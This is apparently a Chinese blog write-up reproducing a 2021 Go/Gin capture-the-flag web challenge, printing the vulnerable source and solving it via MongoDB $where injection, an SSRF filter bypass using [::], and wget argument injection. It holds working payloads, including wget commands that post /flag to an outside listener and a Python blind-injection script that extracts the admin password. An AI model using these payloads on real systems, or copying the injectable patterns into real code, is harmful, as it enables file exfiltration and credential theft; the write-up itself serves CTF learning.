这是一场2021年11月7日的比赛,对于CTFers来说应该是过期的赛事了,那么为什么我要选择复现这样一道题?
比较有纪念意义,这是我第一次意识到自己“遇见了一道go语言题型”。
在长达3个月的学习历程中,我有很多想要说的话,但千言万语总归化作一句——“程序设计总比黑盒测试更容易使我感到快乐”。
当然,也可能纯粹就是我太菜了,所以黑盒给我带来的感觉较少。。。。。
原始的source.zip放到我的github上了
1mongodb注入
2ssrf
3wget
原password判断逻辑是获取“ADMIN_PASS”环境变量,而一般的golang和mongodb都不会去特意export这个环境变量,个人猜测是出题者为了不在源码中泄漏password,特意将密码隐藏到环境变量中了。
source /etc/profile
添加export ADMIN_PASS=admin
本地数据库存在用户权限,在源代码中添加登录代码。
//添加内容,本地数据库设置了管理帐号
myDB := conn.DB("admin")
err = myDB.Login("root", "123456")
if err != nil {
fmt.Pri
忽略sess_init.so引用文件,更改加密秘钥。
猜测sess_init.so的原文件是个gin-sessions的通用文件,但在该代码中似乎只调用了个秘钥?出题人也太随意了吧。
package main
import (
"fmt"
"io"
"time"
"bytes"
"regexp"
"os"
"os/exec"
_ "plugin"
"gopkg.in/mgo.v2"
"gopkg.in/mgo.v2/bson"
"github.com/gin-contrib/sessions"
"github.com/gin-gonic/gin"
"github.com/gin-contrib/sessions/cookie"
"github.com/gin-contrib/multitemplate"
"net/http"
)
type Url struct {
Url string `json:"url" binding:"required"`
}
type User struct {
Username string
Password string
}
const MOGODB_URI = "127.0.0.1:27017"
func MiddleWare() gin.HandlerFunc {
return func(c *gin.Context) {
session := sessions.Default(c)
//原password判断是获取“ADMIN_PASS”环境变量,而一般的golang和mongodb都不会去特意export这个环境变量。
//个人猜测出题者为了不在源码中泄漏password,特意将密码隐藏到环境变量中了。
if session.Get("username") == nil || session.Get("password") != os.Getenv("ADMIN_PASS") {
c.Header("Content-Type", "text/html; charset=utf-8")
c.String(200, "")
return
}
c.Next()
}
}
func loginController(c *gin.Context) {
session := sessions.Default(c)
if session.Get("username") != nil {
c.Redirect(http.StatusFound, "/home")
return
}
username := c.PostForm("username")
password := c.PostForm("password")
if username == "" || password == "" {
c.Header("Content-Type", "text/html; charset=utf-8")
c.String(200, "")
return
}
conn, err := mgo.Dial(MOGODB_URI)
if err != nil {
panic(err)
}
//添加内容,本地数据库设置了管理帐号
myDB := conn.DB("admin")
err = myDB.Login("root", "123456")
if err != nil {
fmt.Println("Login-error:", err)
}
//
defer conn.Close()
conn.SetMode(mgo.Monotonic, true)
db_table := conn.DB("ctf").C("users")
result := User{}
err = db_table.Find(bson.M{"$where":"function() {if(this.username == '"+username+"' && this.password == '"+password+"') {return true;}}"}).One(&result)
if result.Username == "" {
c.Header("Content-Type", "text/html; charset=utf-8")
c.String(200, "")
return
}
if username == result.Username || password == result.Password {
session.Set("username", username)
session.Set("password", password)
session.Save()
c.Redirect(http.StatusFound, "/home")
return
} else {
c.Header("Content-Type", "text/html; charset=utf-8")
c.String(200, "")
return
}
}
func proxyController(c *gin.Context) {
var url Url
if err := c.ShouldBindJSON(&url); err != nil {
c.JSON(500, gin.H{"msg": err})
return
}
re := regexp.MustCompile("127.0.0.1|0.0.0.0|06433|0x|0177|localhost|ffff")
if re.MatchString(url.Url) {
c.JSON(403, gin.H{"msg": "Url Forbidden"})
return
}
client := &http.Client{Timeout: 2 * time.Second}
resp, err := client.Get(url.Url)
if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
defer resp.Body.Close()
var buffer [512]byte
result := bytes.NewBuffer(nil)
for {
n, err := resp.Body.Read(buffer[0:])
result.Write(buffer[0:n])
if err != nil && err == io.EOF {
break
} else if err != nil {
c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
return
}
}
c.JSON(http.StatusOK, gin.H{"data": result.String()})
}
func getController(c *gin.Context) {
cmd := exec.Command("/bin/wget", c.QueryArray("argv")[1:]...)
err := cmd.Run()
if err != nil {
fmt.Println("error: ", err)
}
c.String(http.StatusOK, "Nothing")
}
func createMyRender() multitemplate.Renderer {
r := multitemplate.NewRenderer()
r.AddFromFiles("login", "templates/layouts/base.tmpl", "templates/layouts/login.tmpl")
r.AddFromFiles("home", "templates/layouts/home.tmpl", "templates/layouts/home.tmpl")
return r
}
func main() {
router := gin.Default()
router.Static("/static", "./static")
/*这段代码是用来生成session加密密钥的,而且sess_init.so之前的sess_init.go文件源码没有给,这里就简化一下。
p, err := plugin.Open("sess_init.so")
if err != nil {
panic(err)
}
f, err := p.Lookup("Sessinit")
if err != nil {
panic(err)
}
key := f.(func() string)()
*/
storage := cookie.NewStore([]byte("daydream"))
router.Use(sessions.Sessions("mysession", storage))
router.HTMLRender = createMyRender()
router.MaxMultipartMemory = 8 << 20
router.GET("/", func(c *gin.Context) {
session := sessions.Default(c)
if session.Get("username") != nil {
c.Redirect(http.StatusFound, "/home")
return
} else {
c.Redirect(http.StatusFound, "/login")
return
}
})
router.GET("/login", func(c *gin.Context) {
session := sessions.Default(c)
if session.Get("username") != nil {
c.Redirect(http.StatusFound, "/home")
return
}
c.HTML(200, "login", gin.H{
"title": "CheckIn",
})
})
router.GET("/home", MiddleWare(), func(c *gin.Context) {
c.HTML(200, "home", gin.H{
"title": "CheckIn",
})
})
router.POST("/proxy", MiddleWare(), proxyController)
router.GET("/wget", getController)
router.POST("/login", loginController)
_ = router.Run("0.0.0.0:8080") // listen and serve on 0.0.0.0:8080
}
基本调试都是没什么差别的,就是报了一个错:
#command-line-arguments /usr/local/go/pkg/tool/linux_amd64/link: running gcc failed: exec: “gcc”: executable file not found in $PATH
apt install gcc
即可解决
参考:
ubuntu安装gcc
exec: “gcc”: executable file not found in %PATH%
注意:本地复现中,虽然靶机的ip和监听ip相同,但还原的场景如下图
有关wget命令注入的方式不多赘述,这里详细解析一下main.go内的代码执行部分,即getController函数
"…"是exec包Command命令中数组传参的标准格式,无实际意义。
”/bin/wget“和“/bin/sh”一样理解即可
这里的QueryArray是gin框架中接收一组请求的方法。
因此在传参的过程中,数组内元素个数没有限制,只需要知道数组内的元素会拼接到一起跟在wget后面执行即可。
【注意】根据代码,QueryArray是从第二个元素开始拼接命令的。
最终被解析的playload:wget --post-file /flag http://x.x.x.x:7777
数据包内容如下
GET
/wget?argv=1&argv=–post-file&argv=/flag&argv=http://192.168.159.129:7777/
HTTP/1.1 Host: 192.168.159.129:8080 User-Agent: Mozilla/5.0 (Windows
NT 10.0; Win64; x64; rv:96.0) Gecko/20100101 Firefox/96.0 Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language:
zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate Connection: close Cookie:
mysession=MTY0MzIzMzM4N3xEdi1CQkFFQ180SUFBUkFCRUFBQVN2LUNBQUlHYzNSeWFXNW5EQW9BQ0hWelpYSnVZVzFsQm5OMGNtbHVad3dIQUFWaFpHMXBiZ1p6ZEhKcGJtY01DZ0FJY0dGemMzZHZjbVFHYzNSeWFXNW5EQWNBQldGa2JXbHV8HgwEldRHmgm_8Cs4kf2xAcNn_ZIxtOBMV2E_S2cvYoQ=
Upgrade-Insecure-Requests: 1
看大佬的方法学到一种ssrf的姿势“[::]”。
构造data包{“url”:"[::]:8080/wget"}
wget利用方法就和该方式原理相同,参数不同,即–body-file同样可以发送文件,但是要指定方法。
这里吐槽一下官方wp,红圈中的那一段argv为任意值都可以(原理上文解释了),这里偏偏跟了这么一长串东东,你品,你细品。
最终被解析的playload:wget --method=POST --body-file=/flag http://x.x.x.x:7777
这里使用(1)中的pl依旧可以。
数据包内容如下
POST /proxy HTTP/1.1 Host: 192.168.159.129:8080 User-Agent:
Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:96.0) Gecko/20100101
Firefox/96.0 Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language:
zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate Connection: close Content-Type:
application/json Upgrade-Insecure-Requests: 1 Content-Length: 113{“url”:“http://[::]:8080/wget?argv=1&argv=–method=POST&argv=–body-file=/flag&argv=http://192.168.159.129:7777”}
$where游标后使用了js语句(其后的function即为js语句),这里的this.username为库中集合的username(文档中的key之一)。
抓包后data值中两个参数username,password,构造data
//万能密码方式尝试,
username=admin'){return true;}})// &password=123
此时显示Pretend you logged in successfully,查看代码,因为输入的username与result.username不一致因此显示登陆成功但不会跳转。
换个思路:既然检查username那就试试password绕过
//绕过password
username=admin & password=1'||1==1){return true;}})//
此时显示You are not admin!,查看代码,因为输入的password放入了session中,然后同环境变量中隐藏的ADMIN_PASS进行对比,username非空,密码又未知,这样一来绕password也不可取。
那么可以尝试通过回显的successed来进行猜解密码(布尔盲注)
根据"wrietup前辈"的指导,我很快的“写”出了脚本。
import requests
url = " http://192.168.159.129:8080/login"
headers = {
"Content-Type": "application/x-www-form-urlencoded"
}
strings = "1234567890abcdefghijklmnopqrstuvwxyz"
res = ""
for i in range(len(res) + 1, 40):
if len(res) == i - 1:
for c in strings:
data = {
# 注意这个substr用的是-号,是反向读取密码的,反向逐个读取密码,然后对比
"username": "admin'&&this.password.substr(-" + str(i) + ")=='" + str(c + res) + "') {return true;}})//",
"password": "123456"
}
r = requests.post(url=url, headers=headers, data=data)
if "Pretend" in r.text:
res = c + res
print("[+] " + res)
break
else:
print("[-] Failed")
break
run一下,就解决问题,但凡懂点js,注入语句都是秒懂,这个注入就是直接闭合sql语句,然后执行后面衔接的js代码。
(备注:原题的密码为”54a83850073b0f4c6862d5a1d48ea84f“,下图展示的为复现环境设置的密码)
因为代码没有写session销毁或更新的逻辑,所以在password处注入测试的时候 如果password同ADMIN_PASS验证不符,就会出现在/home页面不断弹下图的bug。
但是并不影响做题,不是吗?
如果你遇到了,清空session重新访问"/"就可以了。
每次写完博客都喜欢总结一下,好,本次复现到此为止,谢谢大家的捧场。。。。开个玩笑,其实本次复现以为着我的golang学习正式的靠一段落了。虽然学习不会停止,但是我还有其他的内容需要去学习,go系列就先写这么两篇吧。
新年也即将到来,最后在此祝大家新年快乐,感谢你们一直以来对我的支持。